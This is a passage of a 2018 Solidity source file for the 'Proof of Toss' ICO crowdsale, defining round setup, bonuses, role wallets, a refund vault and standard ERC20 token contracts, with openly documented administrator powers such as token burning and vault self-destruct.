// Project: Proof of Toss - https://toss.pro // v12, 2018-04-23 // Authors: Ivan Fedorov and Dmitry Borodin // Copying in whole or in part is prohibited. pragma solidity ^0.4.21; // (A1) // The main contract for the sale and management of rounds. // 0000000000000000000000000000000000000000000000000000000000000000 contract Crowdsale{ uint256 constant USER_UNPAUSE_TOKEN_TIMEOUT = 60 days; uint256 constant FORCED_REFUND_TIMEOUT1 = 400 days; uint256 constant FORCED_REFUND_TIMEOUT2 = 600 days; uint256 constant ROUND_PROLONGATE = 0 days; uint256 constant BURN_TOKENS_TIME = 90 days; using SafeMath for uint256; enum TokenSaleType {round1, round2} TokenSaleType public TokenSale = TokenSaleType.round2; // 0 1 2 3 4 5 6 7 8 9 enum Roles {beneficiary, accountant, manager, observer, bounty, company, team, founders, fund, fees} Creator public creator; bool creator2; bool isBegin=false; Token public token; RefundVault public vault; AllocationTOSS public allocation; bool public isFinalized; bool public isInitialized; bool public isPausedCrowdsale; bool public chargeBonuses; bool public canFirstMint=true; // Initially, all next 7+ roles/wallets are given to the Manager. The Manager is an employee of the company // with knowledge of IT, who publishes the contract and sets it up. However, money and tokens require // a Beneficiary and other roles (Accountant, Team, etc.). The Manager will not have the right // to receive them. To enable this, the Manager must either enter specific wallets here, or perform // this via method changeWallet. In the finalization methods it is written which wallet and // what percentage of tokens are received. address[10] public wallets = [ // Beneficiary // Receives all the money (when finalizing Round1 & Round2) 0xAa951F7c52055B89d3F281c73d557275070cBBfb, // Accountant // Receives all the tokens for non-ETH investors (when finalizing Round1 & Round2) 0xD29f0aE1621F4Be48C4DF438038E38af546DA498, // Manager // All rights except the rights to receive tokens or money. Has the right to change any other // wallets (Beneficiary, Accountant, ...), but only if the round has not started. Once the // round is initialized, the Manager has lost all rights to change the wallets. // If the TokenSale is conducted by one person, then nothing needs to be changed. Permit all 7 roles // point to a single wallet. msg.sender, // Observer // Has only the right to call paymentsInOtherCurrency (please read the document) 0x8a91aC199440Da0B45B2E278f3fE616b1bCcC494, // Bounty - 7% tokens 0xd7AC0393e2B29D8aC6221CF69c27171aba6278c4, // Company, White list 1% 0x765f60E314766Bc25eb2a9F66991Fe867D42A449, // Team, 6%, freeze 1+1 year 0xF9f0c53c07803a2670a354F3de88482393ABdBac, // Founders, 10% freeze 1+1 year 0x61628D884b5F137c3D3e0b04b90DaE4402f32510, // Fund, 6% 0xd833899Ea1b84E980daA13553CE13D1512bF0774, // Fees, 7% money 0xEB29e654AFF7658394C9d413dDC66711ADD44F59 ]; struct Bonus { uint256 value; uint256 procent; uint256 freezeTime; } struct Profit { uint256 percent; uint256 duration; } struct Freezed { uint256 value; uint256 dateTo; } Bonus[] public bonuses; Profit[] public profits; uint256 public startTime= 1524560400; uint256 public endTime = 1529830799; uint256 public renewal; // How many tokens (excluding the bonus) are transferred to the investor in exchange for 1 ETH // **QUINTILLIONS** 10^18 for human, *10**18 for Solidity, 1e18 for MyEtherWallet (MEW). // Example: if 1ETH = 40.5 Token ==> use 40500 finney uint256 public rate = 10000 ether; // ETH/USD rate in US$ // **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: ETH/USD=$1000 ==> use 1000*10**18 (Solidity) or 1000 ether or 1000e18 (MEW) uint256 public exchange = 700 ether; // not in use // If the round does not attain this value before the closing date, the round is recognized as a // failure and investors take the money back (the founders will not interfere in any way). // **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: softcap=15ETH ==> use 15*10**18 (Solidity) or 15e18 (MEW) uint256 public softCap = 8500 ether; // The maximum possible amount of income // **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: hardcap=123.45ETH ==> use 123450*10**15 (Solidity) or 12345e15 (MEW) uint256 public hardCap = 71500 ether; // If the last payment is slightly higher than the hardcap, then the usual contracts do // not accept it, because it goes beyond the hardcap. However it is more reasonable to accept the // last payment, very slightly raising the hardcap. The value indicates by how many ETH the // last payment can exceed the hardcap to allow it to be paid. Immediately after this payment, the // round closes. The funders should write here a small number, not more than 1% of the CAP. // Can be equal to zero, to cancel. // **QUINTILLIONS** 10^18 / *10**18 / 1e18 uint256 public overLimit = 20 ether; // The minimum possible payment from an investor in ETH. Payments below this value will be rejected. // **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: minPay=0.1ETH ==> use 100*10**15 (Solidity) or 100e15 (MEW) uint256 public minPay = 71 finney; uint256 public maxAllProfit = 30; uint256 public ethWeiRaised; uint256 public nonEthWeiRaised; uint256 public weiRound1; uint256 public tokenReserved; uint256 public totalSaledToken; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Finalized(); event Initialized(); function Crowdsale(Creator _creator) public { creator2=true; creator=_creator; } function onlyAdmin(bool forObserver) internal view { require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || forObserver==true && wallets[uint8(Roles.observer)] == msg.sender); } // Setting of basic parameters, analog of class constructor // @ Do I have to use the function see your scenario // @ When it is possible to call before Round 1/2 // @ When it is launched automatically - // @ Who can call the function admins function begin() internal { if (isBegin) return; isBegin=true; token = creator.createToken(); if (creator2) { vault = creator.createRefund(); } token.setUnpausedWallet(wallets[uint8(Roles.accountant)], true); token.setUnpausedWallet(wallets[uint8(Roles.manager)], true); token.setUnpausedWallet(wallets[uint8(Roles.bounty)], true); token.setUnpausedWallet(wallets[uint8(Roles.company)], true); token.setUnpausedWallet(wallets[uint8(Roles.observer)], true); bonuses.push(Bonus(71 ether, 30, 30*5 days)); profits.push(Profit(15,1 days)); profits.push(Profit(10,2 days)); profits.push(Profit(5, 4 days)); } // Issue of tokens for the zero round, it is usually called: private pre-sale (Round 0) // @ Do I have to use the function may be // @ When it is possible to call before Round 1/2 // @ When it is launched automatically - // @ Who can call the function admins function firstMintRound0(uint256 _amount) public { onlyAdmin(false); require(canFirstMint); begin(); token.mint(wallets[uint8(Roles.accountant)],_amount); } // info function totalSupply() external view returns (uint256){ return token.totalSupply(); } // Returns the name of the current round in plain text. Constant. function getTokenSaleType() external view returns(string){ return (TokenSale == TokenSaleType.round1)?'round1':'round2'; } // Transfers the funds of the investor to the contract of return of funds. Internal. function forwardFunds() internal { if(address(vault) != 0x0){ vault.deposit.value(msg.value)(msg.sender); }else { if(address(this).balance > 0){ wallets[uint8(Roles.beneficiary)].transfer(address(this).balance); } } } // Check for the possibility of buying tokens. Inside. Constant. function validPurchase() internal view returns (bool) { // The round started and did not end bool withinPeriod = (now > startTime && now < endTime.add(renewal)); // Rate is greater than or equal to the minimum bool nonZeroPurchase = msg.value >= minPay; // hardCap is not reached, and in the event of a transaction, it will not be exceeded by more than OverLimit bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit); // round is initialized and no "Pause of trading" is set return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale; } // Check for the ability to finalize the round. Constant. function hasEnded() public view returns (bool) { bool timeReached = now > endTime.add(renewal); bool capReached = weiRaised() >= hardCap; return (timeReached || capReached) && isInitialized; } // Finalize. Only available to the Manager and the Beneficiary. If the round failed, then // anyone can call the finalization to unlock the return of funds to investors // You must call a function to finalize each round (after the Round1 & after the Round2) // @ Do I have to use the function yes // @ When it is possible to call after end of Round1 & Round2 // @ When it is launched automatically no // @ Who can call the function admins or anybody (if round is failed) function finalize() public { require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || !goalReached()); require(!isFinalized); require(hasEnded() || ((wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender) && goalReached())); isFinalized = true; finalization(); emit Finalized(); } // The logic of finalization. Internal // @ Do I have to use the function no // @ When it is possible to call - // @ When it is launched automatically after end of round // @ Who can call the function - function finalization() internal { //uint256 feesValue; // If the goal of the achievement if (goalReached()) { if(address(vault) != 0x0){ // Send ether to Beneficiary vault.close(wallets[uint8(Roles.beneficiary)], wallets[uint8(Roles.fees)], ethWeiRaised.mul(7).div(100)); //7% for fees } // if there is anything to give if (tokenReserved > 0) { token.mint(wallets[uint8(Roles.accountant)],tokenReserved); // Reset the counter tokenReserved = 0; } // If the finalization is Round 1 if (TokenSale == TokenSaleType.round1) { // Reset settings isInitialized = false; isFinalized = false; // Switch to the second round (to Round2) TokenSale = TokenSaleType.round2; // Reset the collection counter weiRound1 = weiRaised(); ethWeiRaised = 0; nonEthWeiRaised = 0; } else // If the second round is finalized { // Permission to collect tokens to those who can pick them up chargeBonuses = true; totalSaledToken = token.totalSupply(); } } else if (address(vault) != 0x0) // If they failed round { // Allow investors to withdraw their funds vault.enableRefunds(); } } // The Manager freezes the tokens for the Team. // You must call a function to finalize Round 2 (only after the Round2) // @ Do I have to use the function yes // @ When it is possible to call Round2 // @ When it is launched automatically - // @ Who can call the function admins function finalize2() public { onlyAdmin(false); require(chargeBonuses); chargeBonuses = false; allocation = creator.createAllocation(token, now + 1 years /* stage N1 */, now + 2 years /* stage N2 */); token.setUnpausedWallet(allocation, true); // Team = 6%, Founders = 10%, Fund = 6% TOTAL = 22% allocation.addShare(wallets[uint8(Roles.team)], 6, 50); // only 50% - first year, stage N1 (and +50 for stage N2) allocation.addShare(wallets[uint8(Roles.founders)], 10, 50); // only 50% - first year, stage N1 (and +50 for stage N2) allocation.addShare(wallets[uint8(Roles.fund)], 6, 100); // 100% - first year // 22% - tokens to freeze contract (Team+Founders+Fund) token.mint(allocation, totalSaledToken.mul(22).div(70)); // 7% - tokens to Bounty wallet token.mint(wallets[uint8(Roles.bounty)], totalSaledToken.mul(7).div(70)); // 1% - tokens to Company (White List) wallet token.mint(wallets[uint8(Roles.company)], totalSaledToken.mul(1).div(70)); } // Initializing the round. Available to the manager. After calling the function, // the Manager loses all rights: Manager can not change the settings (setup), change // wallets, prevent the beginning of the round, etc. You must call a function after setup // for the initial round (before the Round1 and before the Round2) // @ Do I have to use the function yes // @ When it is possible to call before each round // @ When it is launched automatically - // @ Who can call the function admins function initialize() public { onlyAdmin(false); // If not yet initialized require(!isInitialized); begin(); // And the specified start time has not yet come // If initialization return an error, check the start date! require(now <= startTime); initialization(); emit Initialized(); isInitialized = true; renewal = 0; canFirstMint = false; } function initialization() internal { if (address(vault) != 0x0 && vault.state() != RefundVault.State.Active){ vault.restart(); } } // At the request of the investor, we raise the funds (if the round has failed because of the hardcap) // @ Do I have to use the function no // @ When it is possible to call if round is failed (softcap not reached) // @ When it is launched automatically - // @ Who can call the function all investors function claimRefund() external { require(address(vault) != 0x0); vault.refund(msg.sender); } // We check whether we collected the necessary minimum funds. Constant. function goalReached() public view returns (bool) { return weiRaised() >= softCap; } // Customize. The arguments are described in the constructor above. // @ Do I have to use the function yes // @ When it is possible to call before each rond // @ When it is launched automatically - // @ Who can call the function admins function setup(uint256 _startTime, uint256 _endTime, uint256 _softCap, uint256 _hardCap, uint256 _rate, uint256 _exchange, uint256 _maxAllProfit, uint256 _overLimit, uint256 _minPay, uint256[] _durationTB , uint256[] _percentTB, uint256[] _valueVB, uint256[] _percentVB, uint256[] _freezeTimeVB) public { onlyAdmin(false); require(!isInitialized); begin(); // Date and time are correct require(now <= _startTime); require(_startTime < _endTime); startTime = _startTime; endTime = _endTime; // The parameters are correct require(_softCap <= _hardCap); softCap = _softCap; hardCap = _hardCap; require(_rate > 0); rate = _rate; overLimit = _overLimit; minPay = _minPay; exchange = _exchange; maxAllProfit = _maxAllProfit; require(_valueVB.length == _percentVB.length && _valueVB.length == _freezeTimeVB.length); bonuses.length = _valueVB.length; for(uint256 i = 0; i < _valueVB.length; i++){ bonuses[i] = Bonus(_valueVB[i],_percentVB[i],_freezeTimeVB[i]); } require(_percentTB.length == _durationTB.length); profits.length = _percentTB.length; for( i = 0; i < _percentTB.length; i++){ profits[i] = Profit(_percentTB[i],_durationTB[i]); } } // Collected funds for the current round. Constant. function weiRaised() public constant returns(uint256){ return ethWeiRaised.add(nonEthWeiRaised); } // Returns the amount of fees for both phases. Constant. function weiTotalRaised() external constant returns(uint256){ return weiRound1.add(weiRaised()); } // Returns the percentage of the bonus on the current date. Constant. function getProfitPercent() public constant returns (uint256){ return getProfitPercentForData(now); } // Returns the percentage of the bonus on the given date. Constant. function getProfitPercentForData(uint256 _timeNow) public constant returns (uint256){ uint256 allDuration; for(uint8 i = 0; i < profits.length; i++){ allDuration = allDuration.add(profits[i].duration); if(_timeNow < startTime.add(allDuration)){ return profits[i].percent; } } return 0; } function getBonuses(uint256 _value) public constant returns (uint256,uint256,uint256){ if(bonuses.length == 0 || bonuses[0].value > _value){ return (0,0,0); } uint16 i = 1; for(i; i < bonuses.length; i++){ if(bonuses[i].value > _value){ break; } } return (bonuses[i-1].value,bonuses[i-1].procent,bonuses[i-1].freezeTime); } // Remove the "Pause of exchange". Available to the manager at any time. If the // manager refuses to remove the pause, then 30-120 days after the successful // completion of the TokenSale, anyone can remove a pause and allow the exchange to continue. // The manager does not interfere and will not be able to delay the term. // He can only cancel the pause before the appointed time. // ***CHECK***SCENARIO*** // @ Do I have to use the function YES YES YES // @ When it is possible to call after end of ICO (or any time - not necessary) // @ When it is launched automatically - // @ Who can call the function admins or anybody function tokenUnpause() external { require(wallets[uint8(Roles.manager)] == msg.sender || (now > endTime.add(renewal).add(USER_UNPAUSE_TOKEN_TIMEOUT) && TokenSale == TokenSaleType.round2 && isFinalized && goalReached())); token.setPause(false); } // Enable the "Pause of exchange". Available to the manager until the TokenSale is completed. // The manager cannot turn on the pause, for example, 3 years after the end of the TokenSale. // @ Do I have to use the function no // @ When it is possible to call while Round2 not ended // @ When it is launched automatically before Round0 // @ Who can call the function admins function tokenPause() public { onlyAdmin(false); require(!isFinalized); token.setPause(true); } // Pause of sale. Available to the manager. // @ Do I have to use the function no // @ When it is possible to call during active rounds // @ When it is launched automatically - // @ Who can call the function admins function setCrowdsalePause(bool mode) public { onlyAdmin(false); isPausedCrowdsale = mode; } // For example - After 5 years of the project's existence, all of us suddenly decided collectively // (company + investors) that it would be more profitable for everyone to switch to another smart // contract responsible for tokens. The company then prepares a new token, investors // disassemble, study, discuss, etc. After a general agreement, the manager allows any investor: // - to burn the tokens of the previous contract // - generate new tokens for a new contract // It is understood that after a general solution through this function all investors // will collectively (and voluntarily) move to a new token. // @ Do I have to use the function no // @ When it is possible to call only after ICO! // @ When it is launched automatically - // @ Who can call the function admins function moveTokens(address _migrationAgent) public { onlyAdmin(false); token.setMigrationAgent(_migrationAgent); } // @ Do I have to use the function no // @ When it is possible to call only after ICO! // @ When it is launched automatically - // @ Who can call the function admins function migrateAll(address[] _holders) public { onlyAdmin(false); token.migrateAll(_holders); } // Change the address for the specified role. // Available to any wallet owner except the observer. // Available to the manager until the round is initialized. // The Observer's wallet or his own manager can change at any time. // @ Do I have to use the function no // @ When it is possible to call depend... // @ When it is launched automatically - // @ Who can call the function staff (all 7+ roles) function changeWallet(Roles _role, address _wallet) external { require( (msg.sender == wallets[uint8(_role)] && _role != Roles.observer) || (msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer) && _role != Roles.fees ) ); wallets[uint8(_role)] = _wallet; } // The beneficiary at any time can take rights in all roles and prescribe his wallet in all the // rollers. Thus, he will become the recipient of tokens for the role of Accountant, // Team, etc. Works at any time. // @ Do I have to use the function no // @ When it is possible to call any time // @ When it is launched automatically - // @ Who can call the function only Beneficiary function resetAllWallets() external{ address _beneficiary = wallets[uint8(Roles.beneficiary)]; require(msg.sender == _beneficiary); for(uint8 i = 0; i < wallets.length; i++){ if(uint8(Roles.fees) == i || uint8(Roles.team) == i) continue; wallets[i] = _beneficiary; } token.setUnpausedWallet(_beneficiary, true); } // Burn the investor tokens, if provided by the ICO scenario. Limited time available - BURN_TOKENS_TIME // ***CHECK***SCENARIO*** // @ Do I have to use the function no // @ When it is possible to call any time // @ When it is launched automatically - // @ Who can call the function admin function massBurnTokens(address[] _beneficiary, uint256[] _value) external { onlyAdmin(false); require(endTime.add(renewal).add(BURN_TOKENS_TIME) > now); require(_beneficiary.length == _value.length); for(uint16 i; i<_beneficiary.length; i++) { token.burn(_beneficiary[i],_value[i]); } } // Extend the round time, if provided by the script. Extend the round only for // a limited number of days - ROUND_PROLONGATE // ***CHECK***SCENARIO*** // @ Do I have to use the function no // @ When it is possible to call during active round // @ When it is launched automatically - // @ Who can call the function admins function prolong(uint256 _duration) external { onlyAdmin(false); require(now > startTime && now < endTime.add(renewal) && isInitialized); renewal = renewal.add(_duration); require(renewal <= ROUND_PROLONGATE); } // If a little more than a year has elapsed (Round2 start date + 400 days), a smart contract // will allow you to send all the money to the Beneficiary, if any money is present. This is // possible if you mistakenly launch the Round2 for 30 years (not 30 days), investors will transfer // money there and you will not be able to pick them up within a reasonable time. It is also // possible that in our checked script someone will make unforeseen mistakes, spoiling the // finalization. Without finalization, money cannot be returned. This is a rescue option to // get around this problem, but available only after a year (400 days). // Another reason - the TokenSale was a failure, but not all ETH investors took their money during the year after. // Some investors may have lost a wallet key, for example. // The method works equally with the Round1 and Round2. When the Round1 starts, the time for unlocking // the distructVault begins. If the TokenSale is then started, then the term starts anew from the first day of the TokenSale. // Next, act independently, in accordance with obligations to investors. // Within 400 days (FORCED_REFUND_TIMEOUT1) of the start of the Round, if it fails only investors can take money. After // the deadline this can also include the company as well as investors, depending on who is the first to use the method. // @ Do I have to use the function no // @ When it is possible to call - // @ When it is launched automatically - // @ Who can call the function beneficiary & manager function distructVault() public { require(address(vault) != 0x0); if (wallets[uint8(Roles.beneficiary)] == msg.sender && (now > startTime.add(FORCED_REFUND_TIMEOUT1))) { vault.del(wallets[uint8(Roles.beneficiary)]); } if (wallets[uint8(Roles.manager)] == msg.sender && (now > startTime.add(FORCED_REFUND_TIMEOUT2))) { vault.del(wallets[uint8(Roles.manager)]); } } // We accept payments other than Ethereum (ETH) and other currencies, for example, Bitcoin (BTC). // Perhaps other types of cryptocurrency - see the original terms in the white paper and on the TokenSale website. // We release tokens on Ethereum. During the Round1 and Round2 with a smart contract, you directly transfer // the tokens there and immediately, with the same transaction, receive tokens in your wallet. // When paying in any other currency, for example in BTC, we accept your money via one common wallet. // Our manager fixes the amount received for the bitcoin wallet and calls the method of the smart // contract paymentsInOtherCurrency to inform him how much foreign currency has been received - on a daily basis. // The smart contract pins the number of accepted ETH directly and the number of BTC. Smart contract // monitors softcap and hardcap, so as not to go beyond this framework. // In theory, it is possible that when approaching hardcap, we will receive a transfer (one or several // transfers) to the wallet of BTC, that together with previously received money will exceed the hardcap in total. // In this case, we will refund all the amounts above, in order not to exceed the hardcap. // Collection of money in BTC will be carried out via one common wallet. The wallet's address will be published // everywhere (in a white paper, on the TokenSale website, on Telegram, on Bitcointalk, in this code, etc.) // Anyone interested can check that the administrator of the smart contract writes down exactly the amount // in ETH (in equivalent for BTC) there. In theory, the ability to bypass a smart contract to accept money in // BTC and not register them in ETH creates a possibility for manipulation by the company. Thanks to // paymentsInOtherCurrency however, this threat is leveled. // Any user can check the amounts in BTC and the variable of the smart contract that accounts for this // (paymentsInOtherCurrency method). Any user can easily check the incoming transactions in a smart contract // on a daily basis. Any hypothetical tricks on the part of the company can be exposed and panic during the TokenSale, // simply pointing out the incompatibility of paymentsInOtherCurrency (ie, the amount of ETH + BTC collection) // and the actual transactions in BTC. The company strictly adheres to the described principles of openness. // The company administrator is required to synchronize paymentsInOtherCurrency every working day (but you // cannot synchronize if there are no new BTC payments). In the case of unforeseen problems, such as // brakes on the Ethereum network, this operation may be difficult. You should only worry if the // administrator does not synchronize the amount for more than 96 hours in a row, and the BTC wallet // receives significant amounts. // This scenario ensures that for the sum of all fees in all currencies this value does not exceed hardcap. // Addresses for other currencies: // BTC Address: 3HiqVz6wFhSHZ3QUbX9C8GUPSjdDuksPJA // ** QUINTILLIONS ** 10^18 / 1**18 / 1e18 // @ Do I have to use the function no // @ When it is possible to call during active rounds // @ When it is launched automatically every day // @ Who can call the function admins + observer function paymentsInOtherCurrency(uint256 _token, uint256 _value) public { //require(wallets[uint8(Roles.observer)] == msg.sender || wallets[uint8(Roles.manager)] == msg.sender); onlyAdmin(true); bool withinPeriod = (now >= startTime && now <= endTime.add(renewal)); bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit); require(withinPeriod && withinCap && isInitialized); nonEthWeiRaised = _value; tokenReserved = _token; } function lokedMint(address _beneficiary, uint256 _value, uint256 _freezeTime) internal { if(_freezeTime > 0){ uint256 totalBloked = token.freezedTokenOf(_beneficiary).add(_value); uint256 pastDateUnfreeze = token.defrostDate(_beneficiary); uint256 newDateUnfreeze = _freezeTime.add(now); newDateUnfreeze = (pastDateUnfreeze > newDateUnfreeze ) ? pastDateUnfreeze : newDateUnfreeze; token.freezeTokens(_beneficiary,totalBloked,newDateUnfreeze); } token.mint(_beneficiary,_value); } // The function for obtaining smart contract funds in ETH. If all the checks are true, the token is // transferred to the buyer, taking into account the current bonus. function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 ProfitProcent = getProfitPercent(); uint256 value; uint256 percent; uint256 freezeTime; (value, percent, freezeTime) = getBonuses(weiAmount); Bonus memory curBonus = Bonus(value,percent,freezeTime); uint256 bonus = curBonus.procent; // -------------------------------------------------------------------------------------------- // *** Scenario 1 - select max from all bonuses + check maxAllProfit uint256 totalProfit = (ProfitProcent < bonus) ? bonus : ProfitProcent; // -------------------------------------------------------------------------------------------- totalProfit = (totalProfit > maxAllProfit) ? maxAllProfit : totalProfit; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate).mul(totalProfit.add(100)).div(100 ether); // update state ethWeiRaised = ethWeiRaised.add(weiAmount); lokedMint(beneficiary, tokens, curBonus.freezeTime); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // buyTokens alias function () public payable { buyTokens(msg.sender); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * This code is taken from openZeppelin without any changes. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // (A3) // Contract for freezing of investors' funds. Hence, investors will be able to withdraw money if the // round does not attain the softcap. From here the wallet of the beneficiary will receive all the // money (namely, the beneficiary, not the manager's wallet). contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } uint8 round; mapping (uint8 => mapping (address => uint256)) public deposited; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); event Deposited(address indexed beneficiary, uint256 weiAmount); function RefundVault() public { state = State.Active; } // Depositing funds on behalf of an TokenSale investor. Available to the owner of the contract (Crowdsale Contract). function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[round][investor] = deposited[round][investor].add(msg.value); emit Deposited(investor,msg.value); } // Move the collected funds to a specified address. Available to the owner of the contract. function close(address _wallet1, address _wallet2, uint256 _feesValue) onlyOwner public { require(state == State.Active); require(_wallet1 != 0x0); state = State.Closed; emit Closed(); if(_wallet2 != 0x0) _wallet2.transfer(_feesValue); _wallet1.transfer(address(this).balance); } // Allow refund to investors. Available to the owner of the contract. function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } // Return the funds to a specified investor. In case of failure of the round, the investor // should call this method of this contract (RefundVault) or call the method claimRefund of Crowdsale // contract. This function should be called either by the investor himself, or the company // (or anyone) can call this function in the loop to return funds to all investors en masse. function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[round][investor]; require(depositedValue > 0); deposited[round][investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } function restart() external onlyOwner { require(state == State.Closed); round++; state = State.Active; } // Destruction of the contract with return of funds to the specified address. Available to // the owner of the contract. function del(address _wallet) external onlyOwner { selfdestruct(_wallet); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 * This code is taken from openZeppelin without any changes. */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 * This code is taken from openZeppelin without any changes. */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. * This code is taken from openZeppelin without any changes. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * This code is taken from openZeppelin without any changes. */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol * This code is taken from openZeppelin without any changes. */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { mapping (address => bool) public unpausedWallet; event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to make a function callable only when the contract is 